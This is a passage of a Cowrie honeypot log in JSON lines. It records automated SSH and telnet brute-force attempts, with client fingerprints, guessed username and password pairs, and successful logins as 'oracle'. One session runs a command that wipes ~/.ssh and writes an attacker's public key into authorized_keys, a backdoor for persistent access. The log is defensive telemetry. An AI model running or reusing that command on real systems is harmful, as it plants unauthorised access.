af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:23.619929Z","src_ip":"201.6.100.191","session":"f560862ad5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:23.633205Z","src_ip":"43.173.69.147","session":"c5996a695517","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"test555","message":"login attempt [ubuntu/test555] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:24.204374Z","src_ip":"201.6.100.191","session":"f560862ad5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:25.339368Z","src_ip":"201.6.100.191","session":"f560862ad5df","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":12.771888732910156,"message":"Connection lost after 12 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:12:30.380748Z","src_ip":"113.53.176.227","session":"d661808f49b4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":38610,"dst_ip":"10.17.0.5","dst_port":22,"session":"072cb99e832f","protocol":"ssh","message":"New connection: 101.36.106.162:38610 (10.17.0.5:22) [session: 072cb99e832f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:06.334820Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:06.340683Z","src_ip":"101.36.106.162","session":"072cb99e832f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:06.558887Z","src_ip":"101.36.106.162","session":"072cb99e832f","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"123456","message":"login attempt [oracle/123456] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:07.452629Z","src_ip":"101.36.106.162","session":"072cb99e832f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:07.940727Z","src_ip":"101.36.106.162","session":"072cb99e832f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:07.943963Z","src_ip":"101.36.106.162","session":"072cb99e832f","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:07.947583Z","src_ip":"101.36.106.162","session":"072cb99e832f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:08.166263Z","src_ip":"101.36.106.162","session":"072cb99e832f","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:08.639867Z","src_ip":"101.36.106.162","session":"072cb99e832f","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:08.643295Z","src_ip":"101.36.106.162","session":"072cb99e832f","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/home/oracle/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:08.864466Z","src_ip":"101.36.106.162","session":"072cb99e832f","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:08.869694Z","src_ip":"101.36.106.162","session":"072cb99e832f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":38616,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c8597565037","protocol":"ssh","message":"New connection: 101.36.106.162:38616 (10.17.0.5:22) [session: 2c8597565037]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:09.071548Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:09.076256Z","src_ip":"101.36.106.162","session":"2c8597565037","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:09.290548Z","src_ip":"101.36.106.162","session":"2c8597565037","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:10.179773Z","src_ip":"101.36.106.162","session":"2c8597565037","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:11.397459Z","src_ip":"101.36.106.162","session":"2c8597565037","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":38618,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ba4d2218247","protocol":"ssh","message":"New connection: 101.36.106.162:38618 (10.17.0.5:22) [session: 7ba4d2218247]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:11.619325Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:11.627099Z","src_ip":"101.36.106.162","session":"7ba4d2218247","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:11.845931Z","src_ip":"101.36.106.162","session":"7ba4d2218247","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"oracle","password":"3245gs5662d34","message":"login attempt [oracle/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:12.755807Z","src_ip":"101.36.106.162","session":"7ba4d2218247","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:12.975585Z","src_ip":"101.36.106.162","session":"072cb99e832f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:12.981147Z","src_ip":"101.36.106.162","session":"7ba4d2218247","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":65468,"dst_ip":"10.17.0.5","dst_port":22,"session":"4afba69246c9","protocol":"ssh","message":"New connection: 194.59.206.2:65468 (10.17.0.5:22) [session: 4afba69246c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:23.123515Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:23.128047Z","src_ip":"194.59.206.2","session":"4afba69246c9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:23.221234Z","src_ip":"194.59.206.2","session":"4afba69246c9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:23.316757Z","src_ip":"194.59.206.2","session":"4afba69246c9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"201.6.100.191","src_port":37782,"dst_ip":"159.203.135.109","dst_port":22,"session":"e70a3779152f","protocol":"ssh","message":"New connection: 201.6.100.191:37782 (159.203.135.109:22) [session: e70a3779152f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:40.998616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:41.007314Z","src_ip":"201.6.100.191","session":"e70a3779152f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:41.132769Z","src_ip":"201.6.100.191","session":"e70a3779152f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phpmyadmin","password":"root","message":"login attempt [phpmyadmin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:41.683405Z","src_ip":"201.6.100.191","session":"e70a3779152f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:42.819089Z","src_ip":"201.6.100.191","session":"e70a3779152f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.173.69.147","src_port":37436,"dst_ip":"159.203.135.109","dst_port":22,"session":"6d48f93e43a2","protocol":"ssh","message":"New connection: 43.173.69.147:37436 (159.203.135.109:22) [session: 6d48f93e43a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:54.587970Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:54.594009Z","src_ip":"43.173.69.147","session":"6d48f93e43a2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:54.664071Z","src_ip":"43.173.69.147","session":"6d48f93e43a2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"phpmyadmin","password":"root","message":"login attempt [phpmyadmin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:54.966769Z","src_ip":"43.173.69.147","session":"6d48f93e43a2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:56.038596Z","src_ip":"43.173.69.147","session":"6d48f93e43a2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.36.106.162","src_port":60126,"dst_ip":"10.17.0.5","dst_port":22,"session":"67d1bea7adac","protocol":"ssh","message":"New connection: 101.36.106.162:60126 (10.17.0.5:22) [session: 67d1bea7adac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:58.805259Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T23:13:58.812400Z","src_ip":"101.36.106.162","session":"67d1bea7adac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-s